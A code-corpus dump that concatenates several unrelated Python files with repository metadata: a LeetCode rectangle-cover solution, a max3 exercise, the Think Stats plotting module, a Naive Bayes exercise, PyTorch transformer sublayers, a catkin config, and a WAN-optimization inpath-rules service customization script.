cd99cc88148eee700ffc8af3c5913d772fc4bb78 | f2889a13368b59d8b82f7def1a31a6277b6518b7 | /391.py | 3cab8540bcc577d43e48c5eceebe7ebc5562b23d | [] | no_license | htl1126/leetcode | dacde03de5c9c967e527c4c3b29a4547154e11b3 | c33559dc5e0bf6879bb3462ab65a9446a66d19f6 | refs/heads/master | 2023-09-01T14:57:57.302544 | 2023-08-25T15:50:56 | 2023-08-25T15:50:56 | 29,514,867 | 7 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,352 | py | # ref: https://discuss.leetcode.com/topic/55923/o-n-solution-by-counting-corners
# -with-detailed-explaination
# ref: https://discuss.leetcode.com/topic/56064/python-solution-based-on-hxtang
# -s-idea
import collections
class Solution(object):
def isRectangleCover(self, rectangles):
"""
:type rectangles: List[List[int]]
:rtype: bool
"""
left = min(x[0] for x in rectangles)
right = max(x[2] for x in rectangles)
top = max(x[3]for x in rectangles)
bottom = min(x[1] for x in rectangles)
points = collections.defaultdict(int)
for l, b, r, t in rectangles:
A, B, C, D = (l, b), (r, b), (r, t), (l, t)
for p, q in zip((A, B, C, D), (1, 2, 4, 8)):
if points[p] & q: # avoid rectangles overlapping at a point
return False
points[p] |= q
for px, py in points:
# check all points except the outermost corners
if left < px < right or bottom < py < top:
if points[(px, py)] not in (3, 6, 9, 12, 15):
return False
return True
if __name__ == '__main__':
sol = Solution()
print sol.isRectangleCover([[1, 1, 3, 3], [3, 1, 4, 2], [1, 3, 2, 4],
[3, 2, 4, 4]])
| [
"b93902098@ntu.edu.tw"
] | b93902098@ntu.edu.tw |
2042d5174b3aa20c74ebf96ade33fe236381d38b | 8d0f432027f1c6ee318f0a065caa9e666d00fb6b | /doit_algorithm/chap01/max3_func.py | 0ee5290250ea8289f09a0369726e4e06b2c21e4d | [] | no_license | HC-kang/algorithm | ca72e1e4edd8a9c68fca32d15739818dcfbb3c8b | 5cd459608bffe28e4de9cfb3ab21880e64456201 | refs/heads/master | 2023-08-14T16:17:19.501251 | 2021-09-20T02:01:59 | 2021-09-20T02:01:59 | 363,345,024 | 3 | 0 | null | null | null | null | UTF-8 | Python | false | false | 458 | py | def max3(a, b, c):
maximum = a
if b > maximum: maximum=b;
if c > maximum: maximum=c;
return maximum
print(f'max3(3,2,1) = {max3(3,2,1)}')
print(f'max3(3,2,2) = {max3(3,2,2)}')
print(f'max3(3,1,2) = {max3(3,1,2)}')
print(f'max3(3,2,3) = {max3(3,2,3)}')
print(f'max3(2,1,3) = {max3(2,1,3)}')
print(f'max3(3,3,2) = {max3(3,3,2)}')
print(f'max3(3,3,3) = {max3(3,3,3)}')
print(f'max3(2,2,3) = {max3(2,2,3)}')
print(f'max3(2,3,1) = {max3(2,3,1)}') | [
"weston0713@gmail.com"
] | weston0713@gmail.com |
faf74d7a59215399e3d01bbbd54e200f20e328de | c1dcfea7617dc35b92ced6df984b47222a060eb8 | /twelfth_lab/src/thinkplot.py | 01184933c2425a0c833986ed93907e687bea6d44 | [] | no_license | DwarfMason/OS_TASKS | faf7eb7fab02b09f0c930a5e535806ffd524c747 | cea630a087a97be9d685f5148df3dfc7d032aa6c | refs/heads/master | 2022-11-07T15:27:43.484580 | 2020-06-23T15:52:36 | 2020-06-23T15:52:36 | 250,163,995 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,571 | py | """This file contains code for use with "Think Stats",
by Allen B. Downey, available from greenteapress.com
Copyright 2010 Allen B. Downey
License: GNU GPLv3 http://www.gnu.org/licenses/gpl.html
"""
import math
import matplotlib
import matplotlib.pyplot as pyplot
import numpy as np
# customize some matplotlib attributes
#matplotlib.rc('figure', figsize=(4, 3))
#matplotlib.rc('font', size=14.0)
#matplotlib.rc('axes', labelsize=22.0, titlesize=22.0)
#matplotlib.rc('legend', fontsize=20.0)
#matplotlib.rc('xtick.major', size=6.0)
#matplotlib.rc('xtick.minor', size=3.0)
#matplotlib.rc('ytick.major', size=6.0)
#matplotlib.rc('ytick.minor', size=3.0)
class Brewer(object):
"""Encapsulates a nice sequence of colors.
Shades of blue that look good in color and can be distinguished
in grayscale (up to a point).
Borrowed from http://colorbrewer2.org/
"""
color_iter = None
colors = ['#081D58',
'#253494',
'#225EA8',
'#1D91C0',
'#41B6C4',
'#7FCDBB',
'#C7E9B4',
'#EDF8B1',
'#FFFFD9']
# lists that indicate which colors to use depending on how many are used
which_colors = [[],
[1],
[1, 3],
[0, 2, 4],
[0, 2, 4, 6],
[0, 2, 3, 5, 6],
[0, 2, 3, 4, 5, 6],
[0, 1, 2, 3, 4, 5, 6],
]
@classmethod
def Colors(cls):
"""Returns the list of colors.
"""
return cls.colors
@classmethod
def ColorGenerator(cls, n):
"""Returns an iterator of color strings.
n: how many colors will be used
"""
for i in cls.which_colors[n]:
yield cls.colors[i]
raise StopIteration('Ran out of colors in Brewer.ColorGenerator')
@classmethod
def InitializeIter(cls, num):
"""Initializes the color iterator with the given number of colors."""
cls.color_iter = cls.ColorGenerator(num)
@classmethod
def ClearIter(cls):
"""Sets the color iterator to None."""
cls.color_iter = None
@classmethod
def GetIter(cls):
"""Gets the color iterator."""
return cls.color_iter
def PrePlot(num=None, rows=1, cols=1):
"""Takes hints about what's coming.
num: number of lines that will be plotted
"""
if num:
Brewer.InitializeIter(num)
# TODO: get sharey and sharex working. probably means switching
# to subplots instead of subplot.
# also, get rid of the gray background.
if rows > 1 or cols > 1:
pyplot.subplots(rows, cols, sharey=True)
global SUBPLOT_ROWS, SUBPLOT_COLS
SUBPLOT_ROWS = rows
SUBPLOT_COLS = cols
def SubPlot(rows, cols, plot_number):
"""Configures the number of subplots and changes the current plot.
rows: int
cols: int
plot_number: int
"""
pyplot.subplot(rows, cols, plot_number)
class InfiniteList(list):
"""A list that returns the same value for all indices."""
def __init__(self, val):
"""Initializes the list.
val: value to be stored
"""
list.__init__(self)
self.val = val
def __getitem__(self, index):
"""Gets the item with the given index.
index: int
returns: the stored value
"""
return self.val
def Underride(d, **options):
"""Add key-value pairs to d only if key is not in d.
If d is None, create a new dictionary.
d: dictionary
options: keyword args to add to d
"""
if d is None:
d = {}
for key, val in options.iteritems():
d.setdefault(key, val)
return d
def Clf():
"""Clears the figure and any hints that have been set."""
Brewer.ClearIter()
pyplot.clf()
def Figure(**options):
"""Sets options for the current figure."""
Underride(options, figsize=(6, 8))
pyplot.figure(**options)
def Plot(xs, ys, style='', **options):
"""Plots a line.
Args:
xs: sequence of x values
ys: sequence of y values
style: style string passed along to pyplot.plot
options: keyword args passed to pyplot.plot
"""
color_iter = Brewer.GetIter()
if color_iter:
try:
options = Underride(options, color=color_iter.next())
except StopIteration:
print ('Warning: Brewer ran out of colors.')
Brewer.ClearIter()
options = Underride(options, linewidth=3, alpha=0.8)
pyplot.plot(xs, ys, style, **options)
def Scatter(xs, ys, **options):
"""Makes a scatter plot.
xs: x values
ys: y values
options: options passed to pyplot.scatter
"""
options = Underride(options, color='blue', alpha=0.2,
s=30, edgecolors='none')
pyplot.scatter(xs, ys, **options)
def Pmf(pmf, **options):
"""Plots a Pmf or Hist as a line.
Args:
pmf: Hist or Pmf object
options: keyword args passed to pyplot.plot
"""
xs, ps = pmf.Render()
if pmf.name:
options = Underride(options, label=pmf.name)
Plot(xs, ps, **options)
def Pmfs(pmfs, **options):
"""Plots a sequence of PMFs.
Options are passed along for all PMFs. If you want different
options for each pmf, make multiple calls to Pmf.
Args:
pmfs: sequence of PMF objects
options: keyword args passed to pyplot.plot
"""
for pmf in pmfs:
Pmf(pmf, **options)
def Hist(hist, **options):
"""Plots a Pmf or Hist with a bar plot.
The default width of the bars is based on the minimum difference
between values in the Hist. If that's too small, you can override
it by providing a width keyword argument, in the same units
as the values.
Args:
hist: Hist or Pmf object
options: keyword args passed to pyplot.bar
"""
# find the minimum distance between adjacent values
xs, fs = hist.Render()
width = min(Diff(xs))
if hist.name:
options = Underride(options, label=hist.name)
options = Underride(options,
align='center',
linewidth=0,
width=width)
pyplot.bar(xs, fs, **options)
def Hists(hists, **options):
"""Plots two histograms as interleaved bar plots.
Options are passed along for all PMFs. If you want different
options for each pmf, make multiple calls to Pmf.
Args:
hists: list of two Hist or Pmf objects
options: keyword args passed to pyplot.plot
"""
for hist in hists:
Hist(hist, **options)
def Diff(t):
"""Compute the differences between adjacent elements in a sequence.
Args:
t: sequence of number
Returns:
sequence of differences (length one less than t)
"""
diffs = [t[i+1] - t[i] for i in range(len(t)-1)]
return diffs
def Cdf(cdf, complement=False, transform=None, **options):
"""Plots a CDF as a line.
Args:
cdf: Cdf object
complement: boolean, whether to plot the complementary CDF
transform: string, one of 'exponential', 'pareto', 'weibull', 'gumbel'
options: keyword args passed to pyplot.plot
Returns:
dictionary with the scale options that should be passed to
Config, Show or Save.
"""
xs, ps = cdf.Render()
scale = dict(xscale='linear', yscale='linear')
for s in ['xscale', 'yscale']:
if s in options:
scale[s] = options.pop(s)
if transform == 'exponential':
complement = True
scale['yscale'] = 'log'
if transform == 'pareto':
complement = True
scale['yscale'] = 'log'
scale['xscale'] = 'log'
if complement:
ps = [1.0-p for p in ps]
if transform == 'weibull':
xs.pop()
ps.pop()
ps = [-math.log(1.0-p) for p in ps]
scale['xscale'] = 'log'
scale['yscale'] = 'log'
if transform == 'gumbel':
xs.pop(0)
ps.pop(0)
ps = [-math.log(p) for p in ps]
scale['yscale'] = 'log'
if cdf.name:
options = Underride(options, label=cdf.name)
Plot(xs, ps, **options)
return scale
def Cdfs(cdfs, complement=False, transform=None, **options):
"""Plots a sequence of CDFs.
cdfs: sequence of CDF objects
complement: boolean, whether to plot the complementary CDF
transform: string, one of 'exponential', 'pareto', 'weibull', 'gumbel'
options: keyword args passed to pyplot.plot
"""
for cdf in cdfs:
Cdf(cdf, complement, transform, **options)
def Contour(obj, pcolor=False, contour=True, imshow=False, **options):
"""Makes a contour plot.
d: map from (x, y) to z, or object that provides GetDict
pcolor: boolean, whether to make a pseudocolor plot
contour: boolean, whether to make a contour plot
imshow: boolean, whether to use pyplot.imshow
options: keyword args passed to pyplot.pcolor and/or pyplot.contour
"""
try:
d = obj.GetDict()
except AttributeError:
d = obj
Underride(options, linewidth=3, cmap=matplotlib.cm.Blues)
xs, ys = zip(*d.iterkeys())
xs = sorted(set(xs))
ys = sorted(set(ys))
X, Y = np.meshgrid(xs, ys)
func = lambda x, y: d.get((x, y), 0)
func = np.vectorize(func)
Z = func(X, Y)
x_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)
axes = pyplot.gca()
axes.xaxis.set_major_formatter(x_formatter)
if pcolor:
pyplot.pcolormesh(X, Y, Z, **options)
if contour:
cs = pyplot.contour(X, Y, Z, **options)
pyplot.clabel(cs, inline=1, fontsize=10)
if imshow:
extent = xs[0], xs[-1], ys[0], ys[-1]
pyplot.imshow(Z, extent=extent, **options)
def Pcolor(xs, ys, zs, pcolor=True, contour=False, **options):
"""Makes a pseudocolor plot.
xs:
ys:
zs:
pcolor: boolean, whether to make a pseudocolor plot
contour: boolean, whether to make a contour plot
options: keyword args passed to pyplot.pcolor and/or pyplot.contour
"""
Underride(options, linewidth=3, cmap=matplotlib.cm.Blues)
X, Y = np.meshgrid(xs, ys)
Z = zs
x_formatter = matplotlib.ticker.ScalarFormatter(useOffset=False)
axes = pyplot.gca()
axes.xaxis.set_major_formatter(x_formatter)
if pcolor:
pyplot.pcolormesh(X, Y, Z, **options)
if contour:
cs = pyplot.contour(X, Y, Z, **options)
pyplot.clabel(cs, inline=1, fontsize=10)
def Config(**options):
"""Configures the plot.
Pulls options out of the option dictionary and passes them to
the corresponding pyplot functions.
"""
names = ['title', 'xlabel', 'ylabel', 'xscale', 'yscale',
'xticks', 'yticks', 'axis']
for name in names:
if name in options:
getattr(pyplot, name)(options[name])
loc = options.get('loc', 0)
legend = options.get('legend', True)
if legend:
pyplot.legend(loc=loc)
def Show(**options):
"""Shows the plot.
For options, see Config.
options: keyword args used to invoke various pyplot functions
"""
# TODO: figure out how to show more than one plot
Config(**options)
pyplot.show()
def Save(root=None, formats=None, **options):
"""Saves the plot in the given formats.
For options, see Config.
Args:
root: string filename root
formats: list of string formats
options: keyword args used to invoke various pyplot functions
"""
Config(**options)
if formats is None:
formats = ['pdf', 'eps']
if root:
for fmt in formats:
SaveFormat(root, fmt)
Clf()
def SaveFormat(root, fmt='eps'):
"""Writes the current figure to a file in the given format.
Args:
root: string filename root
fmt: string format
"""
filename = '%s.%s' % (root, fmt)
print ('Writing', filename)
pyplot.savefig(filename, format=fmt, dpi=300)
# provide aliases for calling functons with lower-case names
preplot = PrePlot
subplot = SubPlot
clf = Clf
figure = Figure
plot = Plot
scatter = Scatter
pmf = Pmf
pmfs = Pmfs
hist = Hist
hists = Hists
diff = Diff
cdf = Cdf
cdfs = Cdfs
contour = Contour
pcolor = Pcolor
config = Config
show = Show
save = Save
def main():
color_iter = Brewer.ColorGenerator(7)
for color in color_iter:
print (color)
if __name__ == '__main__':
main()
| [
"igor2199@gmail.com"
] | igor2199@gmail.com |
12fc8ff45fbc58d21b221a9285bb44f9a6b9a970 | b85ea1ad2f7ea70d84b891ccd672cfd6439d445a | /naive.py | b9c9bfb5c32d435ee3b9757b30ccfbb141302b01 | [] | no_license | pkt97/projects | 8c024911175abfb76f244b68d7378b3f1d0bc116 | 8bce04504933a0f7dd4faaf889fe52bbc7d9e914 | refs/heads/master | 2021-04-15T16:15:57.878088 | 2018-10-01T13:59:51 | 2018-10-01T13:59:51 | 126,688,001 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,243 | py | #/usr/bin/python
"""
This is the code to accompany the Lesson 1 (Naive Bayes) mini-project.
Use a Naive Bayes Classifier to identify emails by their authors
authors and labels:
Sara has label 0
Chris has label 1
"""
import numpy as np
import sys
from time import time
sys.path.append("../tools/")
from email_preprocess import preprocess
#import preprocess
from sklearn.naive_bayes import GaussianNB
### features_train and features_test are the features for the training
### and testing datasets, respectively
### labels_train and labels_test are the corresponding item labels
features_train, features_test, labels_train, labels_test = preprocess()
#########################################################
### your code goes here ###
#features_train=np.array([['hello'],['bye']])
#features_test=np.array([0,1])
clf=GaussianNB()
t0=time()
clf.fit(features_train,features_test)
print ("training time is",round(time()-t0,3),"s")
t1=time()
print(clf.predict(features_test))
#print ("Author is",pred)
print ("testing time is",round(time()-t1,3),"s")
print ("accuracy is",clf.score(features_test,labels_test))
#########################################################
| [
"noreply@github.com"
] | pkt97.noreply@github.com |
1ca5d46e810b70521464e1682fd3501144079cfe | 52f9d2ad68391b481b35935b7fa4043624573564 | /pykp/SubLayers.py | a99865a2c3277d3eed8f453785a7a9b19b9c48cb | [] | no_license | zhhengcs/keyphrase | a40610d4cdc997b94f5817e1a6203223b8942951 | 289ac042f8bf0fccedea36f5cd9aab462f8e758f | refs/heads/master | 2020-03-26T01:08:38.145543 | 2018-09-09T02:01:09 | 2018-09-09T02:01:09 | 144,353,779 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,898 | py | ''' Define the sublayers in transformer '''
import torch
import torch.nn as nn
import torch.nn.init as init
import numpy as np
__author__ = "Yu-Hsiang Huang"
class Linear(nn.Module):
''' Simple Linear layer with xavier init '''
def __init__(self, d_in, d_out, bias=True):
super(Linear, self).__init__()
self.linear = nn.Linear(d_in, d_out, bias=bias)
init.xavier_normal_(self.linear.weight)
def forward(self, x):
return self.linear(x)
class Bottle(nn.Module):
''' Perform the reshape routine before and after an operation '''
def forward(self, input):
if len(input.size()) <= 2:
return super(Bottle, self).forward(input)
size = input.size()[:2]
out = super(Bottle, self).forward(input.view(size[0]*size[1], -1))
return out.view(size[0], size[1], -1)
class BottleLinear(Bottle, Linear):
''' Perform the reshape routine before and after a linear projection '''
pass
class BottleSoftmax(Bottle, nn.Softmax):
''' Perform the reshape routine before and after a softmax operation'''
def __init__(self):
super(BottleSoftmax,self).__init__(dim=-1)
# nn.Softmax.dim=-1
pass
class LayerNormalization(nn.Module):
''' Layer normalization module '''
def __init__(self, d_hid, eps=1e-3):
super(LayerNormalization, self).__init__()
self.eps = eps
self.a_2 = nn.Parameter(torch.ones(d_hid), requires_grad=True)
self.b_2 = nn.Parameter(torch.zeros(d_hid), requires_grad=True)
def forward(self, z):
if z.size(1) == 1:
return z
mu = torch.mean(z, keepdim=True, dim=-1)
sigma = torch.std(z, keepdim=True, dim=-1)
ln_out = (z - mu.expand_as(z)) / (sigma.expand_as(z) + self.eps)
ln_out = ln_out * self.a_2.expand_as(ln_out) + self.b_2.expand_as(ln_out)
return ln_out
class BatchBottle(nn.Module):
''' Perform the reshape routine before and after an operation '''
def forward(self, input):
if len(input.size()) <= 2:
return super(BatchBottle, self).forward(input)
size = input.size()[1:]
out = super(BatchBottle, self).forward(input.view(-1, size[0]*size[1]))
return out.view(-1, size[0], size[1])
class BottleLayerNormalization(BatchBottle, LayerNormalization):
''' Perform the reshape routine before and after a layer normalization'''
pass
class ScaledDotProductAttention(nn.Module):
''' Scaled Dot-Product Attention '''
def __init__(self, d_model, attn_dropout=0.1):
super(ScaledDotProductAttention, self).__init__()
self.temper = np.power(d_model, 0.5)
self.dropout = nn.Dropout(attn_dropout)
# self.softmax = BottleSoftmax()
self.softmax = nn.Softmax(dim=-1)
def forward(self, q, k, v, attn_mask=None):
try:
attn = torch.bmm(q, k.transpose(1, 2)) / self.temper
except:
print(q.size())
print(k.size())
print(self.temper)
exit(0)
if attn_mask is not None:
assert attn_mask.size() == attn.size(), \
'Attention mask shape {} mismatch ' \
'with Attention logit tensor shape ' \
'{}.'.format(attn_mask.size(), attn.size())
attn.data.masked_fill_(attn_mask, -float('inf'))
attn = self.softmax(attn)
attn = self.dropout(attn)
output = torch.bmm(attn, v)
return output, attn
class MultiHeadAttention(nn.Module):
''' Multi-Head Attention module '''
def __init__(self, n_head, d_model, d_k, d_v, dropout=0.1):
super(MultiHeadAttention, self).__init__()
self.n_head = n_head
self.d_k = d_k
self.d_v = d_v
self.d_model = d_model
self.w_qs = nn.Parameter(torch.FloatTensor(n_head, d_model/n_head, d_k))
self.w_ks = nn.Parameter(torch.FloatTensor(n_head, d_model/n_head, d_k))
self.w_vs = nn.Parameter(torch.FloatTensor(n_head, d_model/n_head, d_v))
self.attention = ScaledDotProductAttention(d_model)
self.layer_norm = LayerNormalization(d_model)
self.proj = Linear(n_head*d_v, d_model)
self.dropout = nn.Dropout(dropout)
init.xavier_normal_(self.w_qs)
init.xavier_normal_(self.w_ks)
init.xavier_normal_(self.w_vs)
def forward(self, q, k, v, attn_mask=None):
d_k, d_v = self.d_k, self.d_v
n_head = self.n_head
residual = q
mb_size, len_q, d_model = q.size()
mb_size, len_k, d_model = k.size()
mb_size, len_v, d_model = v.size()
# treat as a (n_head) size batch
# q_s = q.repeat(n_head, 1, 1).view(n_head, -1, d_model) # n_head x (mb_size*len_q) x d_model
# k_s = k.repeat(n_head, 1, 1).view(n_head, -1, d_model) # n_head x (mb_size*len_k) x d_model
# v_s = v.repeat(n_head, 1, 1).view(n_head, -1, d_model) # n_head x (mb_size*len_v) x d_model
# d_model = d_model/n_head
q_s = torch.cat(q.chunk(n_head,dim=-1)).view(n_head,-1,self.d_model/n_head)
k_s = torch.cat(k.chunk(n_head,dim=-1)).view(n_head,-1,self.d_model/n_head)
v_s = torch.cat(v.chunk(n_head,dim=-1)).view(n_head,-1,self.d_model/n_head)
# treat the result as a (n_head * mb_size) size batch
q_s = torch.bmm(q_s, self.w_qs).view(-1, len_q, d_k) # (n_head*mb_size) x len_q x d_k
k_s = torch.bmm(k_s, self.w_ks).view(-1, len_k, d_k) # (n_head*mb_size) x len_k x d_k
v_s = torch.bmm(v_s, self.w_vs).view(-1, len_v, d_v) # (n_head*mb_size) x len_v x d_v
# perform attention, result size = (n_head * mb_size) x len_q x d_v
outputs, attns = self.attention(q_s, k_s, v_s, attn_mask=attn_mask.repeat(n_head, 1, 1))
# back to original mb_size batch, result size = mb_size x len_q x (n_head*d_v)
outputs = torch.cat(torch.chunk(outputs, n_head, dim=0), dim=-1)
# project back to residual size
outputs = self.proj(outputs)
outputs = self.dropout(outputs)
return self.layer_norm(outputs + residual), attns
class PositionwiseFeedForward(nn.Module):
''' A two-feed-forward-layer module '''
def __init__(self, d_hid, d_inner_hid, dropout=0.1):
super(PositionwiseFeedForward, self).__init__()
self.w_1 = nn.Conv1d(d_hid, d_inner_hid, 1) # position-wise
self.w_2 = nn.Conv1d(d_inner_hid, d_hid, 1) # position-wise
self.layer_norm = LayerNormalization(d_hid)
self.dropout = nn.Dropout(dropout)
self.relu = nn.ReLU()
def forward(self, x):
residual = x
output = self.relu(self.w_1(x.transpose(1, 2)))
output = self.w_2(output).transpose(2, 1)
output = self.dropout(output)
return self.layer_norm(output + residual) | [
"304544807@qq.com"
] | 304544807@qq.com |
e482c7beef46ad7a9cbd29be3f5bc13e5190a5a4 | b9c33f67fa66839ee18930e2679ac8f3a1b450fe | /build/robotiq/robotiq_3f_gripper_visualization/catkin_generated/pkg.develspace.context.pc.py | e3b1ba83c1205d0812d2f0e893634ee282b50cc4 | [] | no_license | Haoran-Zhao/Ultrasound_and_UR3 | e397e66207789c50b8fe7ca7c7be9ac9dfa6e2da | bb0e4b19216a4b21a1af4b6524f4ed98fee8d83c | refs/heads/master | 2023-01-07T13:46:56.723360 | 2020-11-11T01:14:18 | 2020-11-11T01:14:18 | 274,579,555 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 390 | py | # generated from catkin/cmake/template/pkg.context.pc.in
CATKIN_PACKAGE_PREFIX = ""
PROJECT_PKG_CONFIG_INCLUDE_DIRS = "".split(';') if "" != "" else []
PROJECT_CATKIN_DEPENDS = "".replace(';', ' ')
PKG_CONFIG_LIBRARIES_WITH_PREFIX = "".split(';') if "" != "" else []
PROJECT_NAME = "robotiq_3f_gripper_visualization"
PROJECT_SPACE_DIR = "/home/haoran/UR_ws/devel"
PROJECT_VERSION = "1.0.0"
| [
"zhaohaorandl@gmail.com"
] | zhaohaorandl@gmail.com |
0747f07f2f274bde1a1d1eff63b5516798628722 | 86fc644c327a8d6ea66fd045d94c7733c22df48c | /scripts/managed_cpe_services/customer/wanop_services/type2_site/type2_site/wanop_primary/inpath_rules/inpath_rules/service_customization.py | 240dde8fe5b4f13035c8e61590f5fe763c767c56 | [] | no_license | lucabrasi83/anutacpedeployment | bfe703657fbcf0375c92bcbe7560051817f1a526 | 96de3a4fd4adbbc0d443620f0c53f397823a1cad | refs/heads/master | 2021-09-24T16:44:05.305313 | 2018-10-12T02:41:18 | 2018-10-12T02:41:18 | 95,190,459 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 23,751 | py | #
# This computer program is the confidential information and proprietary trade
# secret of Anuta Networks, Inc. Possessions and use of this program must
# conform strictly to the license agreement between the user and
# Anuta Networks, Inc., and receipt or possession does not convey any rights
# to divulge, reproduce, or allow others to use this program without specific
# written authorization of Anuta Networks, Inc.
#
# Copyright (c) 2016-2017 Anuta Networks, Inc. All Rights Reserved.
#
#
#ALL THE CUSTOMIZATIONS REGARDING DATAPROCESSING SHOULD BE WRITTEN INTO THIS FILE
#
"""
Tree Structure of Handled XPATH:
services
|
managed-cpe-services
|
customer
|
wanop-services
|
type2-site
|
type2-site
|
wanop-primary
|
inpath-rules
|
inpath-rules
Schema Representation:
/services/managed-cpe-services/customer/wanop-services/type2-site/type2-site/wanop-primary/inpath-rules/inpath-rules
"""
"""
Names of Leafs for this Yang Entity
rule-type maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/rule-type
packet-mode-uni maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/packet-mode-uni
srcaddr maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/srcaddr
srcport maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/srcport
dstaddr maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/dstaddr
dstport maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/dstport
dst-domain maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/dst-domain
dst-host maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/dst-host
optimization maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/optimization
preoptimization maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/preoptimization
latency-opt maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/latency-opt
vlan maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/vlan
neural-mode maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/neural-mode
cloud-accel maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/cloud-accel
web-proxy maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/web-proxy
wan-visibility maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/wan-visibility
description maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/description
auto-kickoff maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/auto-kickoff
rule-enable maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/rule-enable
rulenum maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/rulenum
protocol maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/protocol
target-addr maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/target-addr
target-port maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/target-port
backup-addr maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/backup-addr
backup-port maps-to /ac:devices/ac:device/wanop-device:inpath-rules/inpath-rules-def/backup-port
"""
from servicemodel import util
from servicemodel import yang
from servicemodel import devicemgr
from cpedeployment.cpedeployment_lib import getLocalObject
from cpedeployment.cpedeployment_lib import getDeviceObject
from cpedeployment.cpedeployment_lib import getCurrentObjectConfig
from cpedeployment.cpedeployment_lib import getPreviousObjectConfig
from cpedeployment.cpedeployment_lib import ServiceModelContext
from cpedeployment.cpedeployment_lib import getParentObject
from cpedeployment.cpedeployment_lib import log
class ServiceDataCustomization:
@staticmethod
def process_service_create_data(smodelctx, sdata, dev, **kwargs):
""" Custom API to modify the inputs"""
modify = True
if modify and kwargs is not None:
for key, value in kwargs.items():
log("%s == %s" %(key,value))
if modify:
config = kwargs['config']
inputdict = kwargs['inputdict']
inputkeydict = kwargs['inputkeydict']
@staticmethod
def process_service_device_bindings(smodelctx, sdata, dev, **kwargs):
""" Custom API to modify the device bindings or Call the Business Login Handlers"""
modify = True
if modify and kwargs is not None:
for key, value in kwargs.items():
log("%s == %s" %(key,value))
if modify:
config = kwargs['config']
inputdict = kwargs['inputdict']
inputkeydict = kwargs['inputkeydict']
devbindobjs = kwargs['devbindobjs']
id = kwargs['id']
opaque_args = kwargs['hopaque']
if dev is None or (isinstance(dev, list) and len(dev) == 0):
return
if inputdict.get('srcport') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('srcport'), dev, sdata, id, **opaque_args)
if inputdict.get('dstport') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('dstport'), dev, sdata, id, **opaque_args)
if inputdict.get('dst_domain') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_domain_labels_domain_label(inputdict.get('dst_domain'), dev, sdata, id, **opaque_args)
if inputdict.get('dst_host') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_host_labels_host_label(inputdict.get('dst_host'), dev, sdata, id, **opaque_args)
if inputdict.get('target_port') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('target_port'), dev, sdata, id, **opaque_args)
if inputdict.get('backup_port') is not None:
from cpedeployment.managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label_lib import set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label
set_specific_managed_cpe_services_customer_wanop_services_label_configuration_port_labels_port_label(inputdict.get('backup_port'), dev, sdata, id, **opaque_args)
import cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization
cpedeployment.cpedeployment_grouping_lib.inpath_rules_def_customization.grouping_create_inpath_rules_def_inpath_rules(smodelctx, sdata, dev, **kwargs)
from servicemodel.device_abs_lib import device_inpath_rules
if inputdict['rulenum'] is not None:
device_inpath_rules.inpath_rules.inpath_rules_def().create(sdata, dev, fill_map_devices_device_inpath_rules_inpath_rules_def(inputdict), addref=True)
@staticmethod
def process_service_update_data(smodelctx, sdata, **kwargs):
"""callback called for update operation"""
modify = True
if modify and kwargs is not None:
for key, value in kwargs.items():
log("%s == %s" %(key,value))
if modify:
config = kwargs['config']
inputdict = kwargs['inputdict']
#Previous config and previous inputdict
